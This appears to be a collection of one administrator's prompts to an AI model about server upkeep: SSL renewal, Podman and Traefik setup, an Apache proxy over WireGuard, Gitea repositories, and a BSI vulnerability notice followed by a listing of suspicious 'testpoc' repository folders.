1863 lines
93 KiB
Markdown
1863 lines
93 KiB
Markdown
# Troubleshoot datacenter server https error
|
|
|
|
## Setup
|
|
|
|
The datacenter server is maintained with Virtualmin.
|
|
The domain causing the problem is "kipurchat.creature-go.com".
|
|
The SSL certificate provider is Let's Encrypt.
|
|
|
|
## Problem
|
|
|
|
When trying to open "kipurchat.creature-go.com" the web browser shows this
|
|
error (first section and certificates cut out):
|
|
|
|
```
|
|
net::ERR_CERT_DATE_INVALID
|
|
Subject: kipurchat.creature-go.com
|
|
|
|
Issuer: R13
|
|
|
|
Expires on: 28.01.2026
|
|
|
|
Current date: 14.03.2026
|
|
|
|
Certificate Transparency:
|
|
|
|
SCT Google 'Argon2026h1' log (Embedded in certificate, Verified)
|
|
|
|
SCT Let's Encrypt 'Oak2026h1' (Embedded in certificate, Verified)
|
|
```
|
|
|
|
## First own troubleshooting
|
|
|
|
The Virtualmin webpage SSL Certificate
|
|
In domain kipurchat.creature-go.com
|
|
shows that renewal of the certificate failed:
|
|
"
|
|
SSL certificate providers like Let's Encrypt can be used to automatically request a valid cert for use by Virtualmin.
|
|
This page can be used to request a new certificate, which will overwrite any other you currently have configured for this domain. However, SSL certificate providers require that your ownership of the certificate domain be validated by checking that this system hosts the website for the domain. This is done by placing a small temporary file under the website's document directory /home/admincg/domains/kipurchat.creature-go.com/public_html.
|
|
|
|
|
|
Request certificate for
|
|
|
|
Domains associated with this server
|
|
kipurchat.creature-go.com
|
|
|
|
Domain names listed here
|
|
|
|
Also request wildcard certificate?
|
|
SSL certificate provider
|
|
Let's Encrypt
|
|
Automatically renew certificate
|
|
|
|
Yes
|
|
|
|
No
|
|
Send email on renewal
|
|
|
|
Yes
|
|
|
|
Only on failure
|
|
|
|
No
|
|
Hostname verification
|
|
|
|
Attempt to request all hostnames, and fail if any cannot be validated
|
|
|
|
|
|
Skip unresolvable hostnames, but fail if any remaining cannot be validated
|
|
|
|
|
|
Exclude hostnames that cannot be validated from the certifcate
|
|
Certificate hash type
|
|
|
|
RSA
|
|
Time since last renewal
|
|
0.00 months
|
|
Last failed renewal
|
|
03/14/2026 11:39 AM
|
|
Renewal failed due to
|
|
Web-based validation failed :
|
|
Saving debug log to /var/log/letsencrypt/letsencrypt.log
|
|
Renewing an existing certificate for kipurchat.creature-go.com
|
|
An unexpected error occurred:
|
|
AttributeError: can't set attribute
|
|
Ask for help or search for solutions at https://community.letsencrypt.org. See the logfile /var/log/letsencrypt/letsencrypt.log or re-run Certbot with -v for more details.
|
|
DNS-based validation failed :
|
|
Saving debug log to /var/log/letsencrypt/letsencrypt.log
|
|
Renewing an existing certificate for kipurchat.creature-go.com
|
|
An unexpected error occurred:
|
|
AttributeError: can't set attribute
|
|
Ask for help or search for solutions at https://community.letsencrypt.org. See the logfile /var/log/letsencrypt/letsencrypt.log or re-run Certbot with -v for more details.
|
|
"
|
|
|
|
## Your tasks
|
|
|
|
Please help me by running these tasks:
|
|
|
|
### Understand the root cause
|
|
|
|
Why did the certificate renewal fail?
|
|
|
|
### Repair the SSL certificate setup
|
|
|
|
Change the SSL certificate setup so that future renewals will work.
|
|
|
|
### Repair SSL connection
|
|
|
|
If not already done by completing the task before, repair the SSL connection so that "kipurchat.creature-go.com" can be used again.
|
|
|
|
|
|
---
|
|
|
|
# Podman shell script for AFFiNE service
|
|
|
|
## Motivation
|
|
|
|
A Podman Pod is needed on a Linux server which provides an AFFiNE service.
|
|
This Podman Pod needs to be created and started with a shell script which needs to be designed.
|
|
|
|
The AFFiNE service will be used by humans and by AI agents; it will also be part of a design environment for designing a special MCP server for AFFiNE.
|
|
|
|
## Shell script requirements
|
|
|
|
Requirements for the shell script:
|
|
- Must use a container image with a Pinned Tag (for exact consistency) which points to the AFFiNE version 0.26.3. The name likely is something like "ghcr.io/toeverything/affine:0.26.3".
|
|
- Must provide the AFFiNE web user interface at port 8092.
|
|
- Must provide the GraphQL API. Background: The AFFiNE web and desktop apps use an internal GraphQL API to communicate with the backend. There is a /graphql endpoint but it is not documented for third-party use.
|
|
- Must be in folder /home/pln/bin.
|
|
- Must have the name create_pod_affine.sh
|
|
|
|
The shell script shall be run by user pln which has permissions to run rootless pods.
|
|
|
|
## Shell script style
|
|
|
|
The needed shell script must have the same style as other shell scripts on the server.
|
|
|
|
These files are examples:
|
|
/home/lwc/bin/create_pod_langflow.sh
|
|
/home/krt/bin/create_pod_qdrant.sh
|
|
|
|
## Your tasks
|
|
|
|
### Ask first
|
|
|
|
Before starting to design the shell script, ask between two and five questions to fully understand the situation, your tasks and the objectives.
|
|
|
|
### Identify the container image
|
|
|
|
Find the container image with Pinned Tag pointing to AFFiNE version 0.26.3.
|
|
|
|
### Write the shell script
|
|
|
|
Write the shell script.
|
|
|
|
### Test the shell script
|
|
|
|
Run the shell script and test it.
|
|
|
|
### Redesign if necessary
|
|
|
|
If the test failed, understand the problem, improve the shell script and go back to Test the shell script.
|
|
|
|
Repeat this in a loop up to five times.
|
|
|
|
## Your objectives
|
|
|
|
Your objectives are:
|
|
- All requirements are fulfilled.
|
|
- AFFiNE web user interface shows up at 127.0.0.1:8092.
|
|
- The AFFiNE GraphQL API shows up under 127.0.0.1:8092 at /graphql or another link.
|
|
|
|
## Your behaviour
|
|
|
|
If it is not possible to achieve your objectives, interrupt and ask me.
|
|
|
|
Complete all your tasks without asking in between if you can achieve your objectives.
|
|
|
|
---
|
|
|
|
# New Traefik route
|
|
|
|
## Motivation
|
|
|
|
A new service runs on the server and needs to be provided to the internet by installing a new Traefik route.
|
|
|
|
## Traefik service
|
|
|
|
Traefik runs as a systemd service in a Podman Pod.
|
|
To end the service and Pod, run `/home/trf/bin/remove_pod_systemd_services.sh`.
|
|
To start the Pod and the service, run `create_pod_traefik.sh`.
|
|
|
|
## Traefik configuration
|
|
|
|
The Traefik configuration directory is `/home/trf/.local/share/traefik/`.
|
|
|
|
The main configuration file is `/home/trf/.local/share/traefik/traefik.yml`.
|
|
In the directory `/home/trf/.local/share/traefik/dynamic` are the .yml files for the individual routings.
|
|
|
|
## New service
|
|
|
|
The new service for which the new Traefik route is needed:
|
|
- Name is "affine"
|
|
- Provided at 127.0.0.1:8092
|
|
|
|
## Your tasks
|
|
|
|
Your tasks are:
|
|
- Ask questions if necessary to understand the situation and the tasks below.
|
|
- Create the necessary file in `/home/trf/.local/share/traefik/dynamic`.
|
|
- Update `/home/trf/.local/share/traefik/traefik.yml`.
|
|
|
|
|
|
---
|
|
|
|
# Apache reverse proxy forwarding to another host
|
|
|
|
## Setup
|
|
|
|
The setup comprises two servers which are connected via WireGuard.
|
|
|
|
### Linux server sv005.destengs.com
|
|
|
|
- In a data center
|
|
- Managed using Virtualmin
|
|
- Two Virtual Servers:
|
|
- kipurchat.creature-go.com
|
|
- affine.creature-go.com
|
|
- Uses Apache reverse proxy
|
|
- WireGuard IP address 10.8.0.1
|
|
|
|
### Linux server DesTEngSsv006
|
|
|
|
- Local server
|
|
- Uses Traefik to route ingest traffic to microservices
|
|
- WireGuard IP address 10.8.0.6
|
|
- Provides the AFFiNE microservice
|
|
- Internal at 127.0.0.1:8092
|
|
|
|
## Previous problems
|
|
|
|
In the past I often faced problems with the Apache directives.
|
|
|
|
### SSL certificate renewal failed
|
|
|
|
The Virtual Server kipurchat.creature-go.com was set up using Virtualmin some monthes ago. Then a forward was installed which routed the traffic of kipurchat.creature-go.com from sv005.destengs.com to DesTEngSsv006. When the automated SSL certificate renewal was triggered the renewal failed. The Apache directives file needed to be fixed so that the ACME check could succeed.
|
|
|
|
## Assistance for affine.creature-go.com forwarding
|
|
|
|
I just created the Virtual Server affine.creature-go.com . https://affine.creature-go.com/ works, has a valid SSL certificate and shows the expected Virtualmin Welcome-Page.
|
|
|
|
I would like to have your assistance to set up the forwarding for affine.creature-go.com to get a bullet-proof Apache directives file which also will allow the SSL certificate renewal in some weeks.
|
|
|
|
## Your tasks
|
|
|
|
### Interview
|
|
|
|
Interview me to
|
|
- Fully understand the situation
|
|
- Clarify the objective
|
|
- Obtain all files you need
|
|
|
|
### Update DesTEngSsv006 configuration
|
|
|
|
Help me to update the DesTEngSsv006 configuration so that affine.creature-go.com forwarding works as expected and SSL certificate renewal will succeed.
|
|
|
|
|
|
|
|
|
|
1. The Apache VHost Config: Could you share the current contents of the Apache configuration file for affine.creature-go.com on sv005? (Usually found in /etc/apache2/sites-available/ or managed via Virtualmin's "Edit Directives" section).
|
|
|
|
2. Traefik's Entrypoint: On DesTEngSsv006, is Traefik listening for incoming traffic on port 80/443 over the WireGuard interface (10.8.0.6)?
|
|
|
|
3. Traefik Configuration: Have you already set up a router and service in Traefik for affine.creature-go.com? If so, could you share that snippet (labels in Docker or your YAML/TOML config)?
|
|
|
|
4. SSL Strategy: Is sv005 the only place where you want SSL to be terminated, or are you also trying to use Let's Encrypt on the Traefik side? (Standard practice here is to terminate at sv005 and send plain HTTP or "pseudo-HTTPS" over the tunnel).
|
|
|
|
|
|
## Interview answers
|
|
|
|
1. Attached is affine.creature-go.com.conf
|
|
|
|
2. Traefik is listening on 10.8.0.6:8080
|
|
|
|
3. Attached is the main Traefik config file traefik.yml from the DesTEngSsv006 directory /home/trf/.local/share/traefik and the three .yml config files {affine.yml, dashboard.yml, openwebui.yml} from the DesTEngSsv006 directory /home/trf/.local/share/traefik/dynamic/
|
|
|
|
4. Terminate SSL at sv005 and send plain HTTP over the tunnel
|
|
|
|
|
|
|
|
What about the already existing RewriteCond lines in the Apache config file?
|
|
I would appreciate if you would update the complete affine.creature-go.com.conf file instead of giving me snippets which I have to insert at the hopefully correct position.
|
|
|
|
|
|
Questions about both sections <VirtualHost ...:80> and <VirtualHost ...:443>:
|
|
- You did remove <Directory /home/affine/cgi-bin> but you did leave
|
|
<Directory /home/affine/public_html> in - why didn't you take out both
|
|
directories because they are not used? Any objections if I would remove the <Directory /home/affine/public_html>?
|
|
- There is no mail support at affine.creature-go.com so I plan to remove
|
|
RewriteCond and RewriteRule for Webmail - any objections?
|
|
|
|
Questions about <VirtualHost ...:443> section:
|
|
- Why did you relocate the SSL Configuration block?
|
|
|
|
|
|
---
|
|
|
|
# Wireguard problem
|
|
|
|
Please help troubleshooting and repairing a Wireguard connection.
|
|
|
|
## Setup
|
|
|
|
WireGuard IP-Addresses:
|
|
10.8.0.1 DesTEngSsv005
|
|
10.8.0.6 DesTEngSsv006
|
|
10.8.0.3 DesTEngSnb003
|
|
|
|
### DesTEngSsv005
|
|
|
|
DesTEngSsv005 is a datacenter Linux server
|
|
with public IP-address 65.108.193.31 .
|
|
In the Wireguard setup the server is the bridge between an office server
|
|
and a notebook.
|
|
I am the system administrator and have root access.
|
|
|
|
### DesTEngSsv006
|
|
|
|
DesTEngSsv006 is an office Linux server with a dynamic IP-address for
|
|
Internet access.
|
|
|
|
### DesTEngSnb003
|
|
|
|
DesTEngSnb003 is my personal Windows notebook with a dynamic IP-address for
|
|
Internet access.
|
|
|
|
## Symptoms
|
|
|
|
Today I noticed that from DesTEngSnb003 the Wireguard connection to
|
|
DesTEngSsv006 is not working anymore: The connection could not be established.
|
|
|
|
I can ping DesTEngSsv005 from DesTEngSnb003.
|
|
|
|
|
|
|
|
|
|
The latest handshake with 10.8.0.6 happened 21 hours ago:
|
|
|
|
```
|
|
root@sv005 ~ # wg show
|
|
interface: wg0
|
|
public key: Fww9ON7EvuRom7M9BN97bRpxduIM4V54z/Ij6eunrgo=
|
|
private key: (hidden)
|
|
listening port: 51820
|
|
|
|
peer: YUOO8IHL218cmeaS1c/VH9STQRGryrlWk0oXvtCbqFY=
|
|
endpoint: 87.152.118.183:49669
|
|
allowed ips: 10.8.0.3/32
|
|
latest handshake: 4 seconds ago
|
|
transfer: 21.22 MiB received, 633.64 MiB sent
|
|
|
|
peer: XTC0cB4R3hurXh9NTIhPfDlam3ahrau21F/ezJUJSRs=
|
|
endpoint: 89.244.105.89:49166
|
|
allowed ips: 10.8.0.6/32
|
|
latest handshake: 21 hours, 32 minutes, 20 seconds ago
|
|
transfer: 1.13 GiB received, 115.96 MiB sent
|
|
```
|
|
|
|
The Wireguard connection was working well before, I am the only admin of
|
|
all three machines and I have not intentionally changed any firewall
|
|
settings or FORWARD chains.
|
|
|
|
```traceroute 10.8.0.6``` does not work on my notebook in a CMD window;
|
|
likely because the notebook has Windows and not Linux.
|
|
|
|
On the weekend I'm not in the office; therefore, I cannot check anything
|
|
on DesTEngSsv006 now. Are there any helpful and promising checks I could
|
|
do right now with my access limited to DesTEngSsv005 and DesTEngSnb003?
|
|
|
|
|
|
|
|
|
|
|
|
The notebook can reach the hub:
|
|
```
|
|
C:\Users\tlg>tracert -d 10.8.0.6
|
|
|
|
Routenverfolgung zu 10.8.0.6 über maximal 30 Hops
|
|
|
|
1 50 ms 49 ms 49 ms 10.8.0.1
|
|
2 * * * Zeitüberschreitung der Anforderung.
|
|
3 * * * Zeitüberschreitung der Anforderung.
|
|
4 * * * Zeitüberschreitung der Anforderung.
|
|
5 * ^C
|
|
```
|
|
|
|
I started this:
|
|
```
|
|
root@sv005 ~ # ping 89.244.105.89
|
|
PING 89.244.105.89 (89.244.105.89) 56(84) bytes of data.
|
|
```
|
|
For more than one minute no answer arrived.
|
|
So likely the office Internet connection is down.
|
|
|
|
Thank you, I will proceed troubleshooting on Monday in the office.
|
|
|
|
---
|
|
|
|
# New Git repository on DesTEngS Git server
|
|
|
|
Please help with setting up a new Git repository on a Git server
|
|
and in a Linux folder.
|
|
|
|
## DesTEngS Git server
|
|
|
|
The DesTEngS Git server is at
|
|
`git.destengs.com` and can be accessed via SSH
|
|
with the `git` user and port `8085`.
|
|
|
|
Example:
|
|
The user pln did add a remote connection with
|
|
`git remote add origin ssh://git@git.destengs.com:8085/pln/bin.git`.
|
|
|
|
I have an account and my user name is 'tlg'.
|
|
|
|
The Git server SW is Gitea.
|
|
|
|
Gitea push-to-create is intentionally not enabled; therefore,
|
|
new repositories were created via the Git server web interface
|
|
up to now.
|
|
|
|
## The new Git repository
|
|
|
|
The new Git repo will be used for my SW design topics, shall have
|
|
the name DesTEngSsv006_swd and shall use SHA-256.
|
|
|
|
I also want to use the Git repo for things which are common on GitHub
|
|
repositories (like bug tracking and actions); however, the new
|
|
repo will only be used by me and AI agents like you.
|
|
|
|
On my Linux server DesTEngSsv006 my user name is 'tlg'.
|
|
I created a folder /home/tlg/swd which shall become a Git repo which
|
|
will be synced with the Git server repo; therefore, I want a
|
|
SSH remote connection which would be created with
|
|
`git remote add origin ssh://git@git.destengs.com:8085/tlg/DesTEngSsv006_swd.git`.
|
|
|
|
## Questions
|
|
|
|
- Use your ask user questions tool to completely understand the
|
|
situation and my requirements.
|
|
- Do I have to manually set up the repo on the Git server first?
|
|
- How should I set up bug tracking, actions and similar things?
|
|
|
|
---
|
|
|
|
# Local Git repository setup
|
|
|
|
Please help with setting up a local Git repository in a Linux folder
|
|
and synchronizing it with a Git repository on a remote Git server.
|
|
|
|
## Remote Git server
|
|
|
|
The remote Git server is at
|
|
`git.destengs.com` and can be accessed via SSH
|
|
with the `git` user and port `8085`.
|
|
|
|
Example:
|
|
The user pln did add a remote connection with
|
|
`git remote add origin ssh://git@git.destengs.com:8085/pln/bin.git`.
|
|
|
|
I have an account and my user name is 'wbg'.
|
|
|
|
The Git server SW is Gitea.
|
|
|
|
## New Git repository on remote Git server
|
|
|
|
Gitea push-to-create is intentionally not enabled; therefore,
|
|
I created the desired new repository via the Git server web interface:
|
|
- Name 'destengssv006_bin'
|
|
- Issue Label Default
|
|
- Object format sha256
|
|
|
|
I also created a new Token for access to wbg account via Gitea-API:
|
|
- Token-name destengssv006
|
|
- Access: All (public, private and restricted)
|
|
- │ API route │ Access
|
|
│ activitypub │ no access
|
|
│ issue │ read and write
|
|
│ misc │ read
|
|
│ notification │ read
|
|
│ organization │ no access
|
|
│ package │ no access
|
|
│ repository │ read and write
|
|
│ user │ read
|
|
- Stored it on this server in /home/wbg/.gitea-token
|
|
|
|
## Local Git repository
|
|
|
|
The folder /home/wbg/bin shall become a Git repo which
|
|
must be synced with the remote Git server repository.
|
|
|
|
SSH keys have been generated and the public used to communicate with the
|
|
remote Git server via SSH without entering credentials.
|
|
|
|
## Your tasks
|
|
|
|
1. Initialize the local Git repository in the /home/wbg/bin
|
|
with sha256, branch 'main'. Set
|
|
global user name to 'wbg' and
|
|
global user email to 'Thomas.Langer@destengs.com'.
|
|
2. Setup the SSH remote connection with
|
|
`git remote add origin ssh://git@git.destengs.com:8085/wbg/destengssv006_bin.git`.
|
|
3. Make an initial commit with a reasonable .gitignore to test it.
|
|
|
|
---
|
|
|
|
Mein Git-Server hat eine Sicherheitslücke. Das BSI schrieb mir über meinen Server-Hoster:
|
|
```
|
|
> Sehr geehrte Damen und Herren,
|
|
>
|
|
> eine kritische Schwachstelle in Gitea (CVE-2026-60004) kann von entfernten
|
|
> Angreifenden ausgenutzt werden, um beliebigen Programmcode auf dem Gitea-Server
|
|
> mit den Privilegien des Gitea-Dienstes auszuführen.
|
|
>
|
|
> Die Schwachstelle wurde in Version 1.27.1 geschlossen.
|
|
>
|
|
> Weitere Schwachstellen (CVE-2026-20896, CVE-2026-27771) ermöglichen entfernten
|
|
> Angreifenden ohne Authentifizierung auf private Container zuzugreifen oder die
|
|
> Identität beliebiger Benutzer anzunehmen.
|
|
>
|
|
> Weitere Informationen des Herstellers:
|
|
>
|
|
> CVE-2026-27771
|
|
> <https://github.com/go-gitea/gitea/security/advisories/GHSA-8qw8-rq86-9pc2>
|
|
>
|
|
> CVE-2026-20896
|
|
> <https://github.com/go-gitea/gitea/security/advisories/GHSA-f75j-4cw6-rmx4>
|
|
>
|
|
> CVE-2026-60004
|
|
> <https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m>
|
|
>
|
|
> Nachfolgend senden wir Ihnen eine Liste von IP-Adressen in Ihrem Netzbereich,
|
|
> unter denen zum angegebenen Zeitpunkt (Zeitstempel UTC) Gitea-Server
|
|
> mit einer Version identifiziert wurden, die noch für mindestens eine
|
|
> der oben genannten Schwachstelle verwundbar ist.
|
|
>
|
|
> Wir möchten Sie bitten, den Sachverhalt zu prüfen und zeitnah Maßnahmen
|
|
> zur Absicherung der Systeme zu ergreifen bzw. Ihre betroffenen Kunden
|
|
> entsprechend zu informieren.
|
|
>
|
|
> Diese E-Mail ist mittels PGP digital signiert.
|
|
> Informationen zu dem verwendeten Schlüssel finden Sie unter:
|
|
> <https://reports.cert-bund.de/digitale-signatur>
|
|
>
|
|
> Bitte beachten Sie:
|
|
> Dies ist eine automatisch generierte Nachricht. Antworten an die
|
|
> Absenderadresse <reports@reports.cert-bund.de> werden NICHT gelesen
|
|
> und automatisch verworfen. Bei Rückfragen wenden Sie sich bitte
|
|
> unter Beibehaltung der Ticketnummer [CB-Report#...] in der
|
|
> Betreffzeile an <certbund@bsi.bund.de>.
|
|
>
|
|
> Betroffene Systeme in Ihrem Netzbereich:
|
|
>
|
|
> Format: ASN | IP | Timestamp (UTC) | Port | Version | Cve
|
|
> 24940 | 135.181.78.90 | 2026-09-22 14:33:25 | 80 | 1.25.1 | cve-2026-20896;cve-2026-27771;cve-2026-60004
|
|
> 24940 | 135.181.78.90 | 2026-09-22 19:29:25 | 443 | 1.25.1 | cve-2026-20896;cve-2026-27771;cve-2026-60004
|
|
>
|
|
> Mit freundlichen Grüßen / Kind regards
|
|
> Team CERT-Bund
|
|
>
|
|
> Bundesamt für Sicherheit in der Informationstechnik
|
|
> Federal Office for Information Security (BSI)
|
|
> CERT-Bund
|
|
> Godesberger Allee 87, 53175 Bonn, Germany
|
|
>
|
|
```
|
|
|
|
Mein aktuelles Gitea Container `docker-compose.yml` ist angehängt.
|
|
|
|
Bitte finde die letzte stabile Gitea Image Version und aktualisiere sie als statische Version im `docker-compose.yml`.
|
|
|
|
Dann schreib mir bitte nochmal kurz die Docker Kommandos auf, wie ich als `root` den Docker Service stoppe und nach Austausch der .yml Datei wieder starte.
|
|
|
|
---
|
|
|
|
Danke, ich habe den Gitea Container aktualisiert, der Service läuft wieder.
|
|
|
|
Deinem Tipp folgend wollte ich mir die Ordner unter `/opt/appdata/gitea/git/repositories` ansehen, dabei habe ich viele "testpoc*" Ordner entdeckt:
|
|
´´´
|
|
root@sv003 /opt/appdata/gitea/git/repositories # ls -alhrt
|
|
total 1.2M
|
|
drwxr-xr-x 5 admindc admindc 4.0K Nov 21 2025 ..
|
|
drwxr-xr-x 3 admindc admindc 4.0K Dec 1 2025 n8n
|
|
drwxr-xr-x 3 admindc admindc 4.0K Dec 4 2025 krtr
|
|
drwxr-xr-x 3 admindc admindc 4.0K Dec 4 2025 ncd
|
|
drwxr-xr-x 4 admindc admindc 4.0K Feb 24 2026 llm
|
|
drwxr-xr-x 3 admindc admindc 4.0K Mar 1 2026 rdms
|
|
drwxr-xr-x 3 admindc admindc 4.0K Mar 15 2026 pln
|
|
drwxr-xr-x 3 admindc admindc 4.0K Mar 15 2026 trf
|
|
drwxr-xr-x 3 admindc admindc 4.0K Apr 1 10:25 wbg
|
|
drwxr-xr-x 3 admindc admindc 4.0K Jun 1 18:02 mkt
|
|
drwxr-xr-x 7 admindc admindc 4.0K Jun 12 09:23 tlg
|
|
drwxr-xr-x 3 admindc admindc 4.0K Jun 23 20:33 lwc
|
|
drwxr-xr-x 4 admindc admindc 4.0K Jul 17 12:31 wlfb
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 5 20:44 testpoc60874
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 6 08:49 testpoc29453
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 7 15:56 testpoc43268
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 10 10:10 testpoc12153
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 10 18:15 testpoc24197
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 10 20:31 testpoc85539
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 10 22:49 testpoc98694
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 11 00:01 testpoc78015
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 11 00:23 testpoc25390
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 11 00:47 testpoc92837
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 11 01:19 testpoc97168
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 11 18:56 testpoc82909
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 12 00:21 testpoc81407
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 12 00:21 testpoc84892
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 12 00:58 testpoc95017
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 12 00:58 testpoc87960
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 12 02:40 testpoc60504
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 12 10:22 testpoc25643
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 12 12:31 testpoc51520
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 12 12:31 testpoc56033
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 12 18:04 testpoc38666
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 12 18:20 testpoc93555
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 12 18:20 testpoc46919
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 12 20:14 testpoc30819
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 12 20:14 testpoc84143
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 12 23:29 testpoc37242
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 13 00:12 testpoc56949
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 13 01:44 testpoc69547
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 13 09:24 testpoc19409
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 13 11:14 testpoc45556
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 13 11:14 testpoc72460
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 13 14:42 testpoc24413
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 13 14:49 testpoc79954
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 13 16:53 testpoc73498
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 13 17:22 testpoc31492
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 13 17:30 testpoc84236
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 13 20:01 testpoc66853
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 13 20:08 testpoc96299
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 13 22:38 testpoc37593
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 13 22:45 testpoc36987
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 14 00:16 testpoc31664
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 14 01:03 testpoc40668
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 14 01:03 testpoc53151
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 14 01:14 testpoc69854
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 14 01:21 testpoc80023
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 14 07:40 testpoc77229
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 14 08:29 testpoc71873
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 14 08:30 testpoc17745
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 14 12:06 testpoc53823
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 14 12:06 testpoc66756
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 14 12:10 testpoc22616
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 14 12:11 testpoc27265
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 14 15:10 testpoc34412
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 14 18:10 testpoc85061
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 14 18:10 testpoc36190
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 14 18:54 testpoc73222
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 14 18:54 testpoc54227
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 14 20:20 testpoc46556
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 14 20:20 testpoc62541
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 14 20:42 testpoc61632
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 14 22:35 testpoc90545
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 15 06:00 testpoc61911
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 15 08:34 testpoc95111
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 15 15:02 testpoc78438
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 15 15:02 testpoc81170
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 15 15:57 testpoc86973
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 15 23:22 testpoc18093
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 16 06:45 testpoc34060
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 16 14:11 testpoc19522
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 16 21:35 testpoc39149
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 17 04:55 testpoc22320
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 17 12:17 testpoc34738
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 17 19:43 testpoc48807
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 18 03:05 testpoc68152
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 18 10:28 testpoc62114
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 18 17:52 testpoc79936
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 19 01:14 testpoc13243
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 19 08:37 testpoc69682
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 19 16:01 testpoc72852
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 19 16:44 testpoc15007
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 19 20:46 testpoc86124
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 20 02:52 testpoc11637
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 20 06:15 testpoc87910
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 20 11:54 testpoc82836
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 20 18:00 testpoc41185
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 20 20:32 testpoc98983
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 20 22:20 testpoc19606
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 21 04:26 testpoc23912
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 21 07:55 testpoc62773
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 21 14:01 testpoc78861
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 21 15:30 testpoc95173
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 21 20:07 testpoc40264
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 22 02:13 testpoc26934
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 22 08:19 testpoc73319
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 22 09:16 testpoc50454
|
|
drwxr-xr-x 3 admindc admindc 4.0K Aug 22 15:22 testpoc19498
|
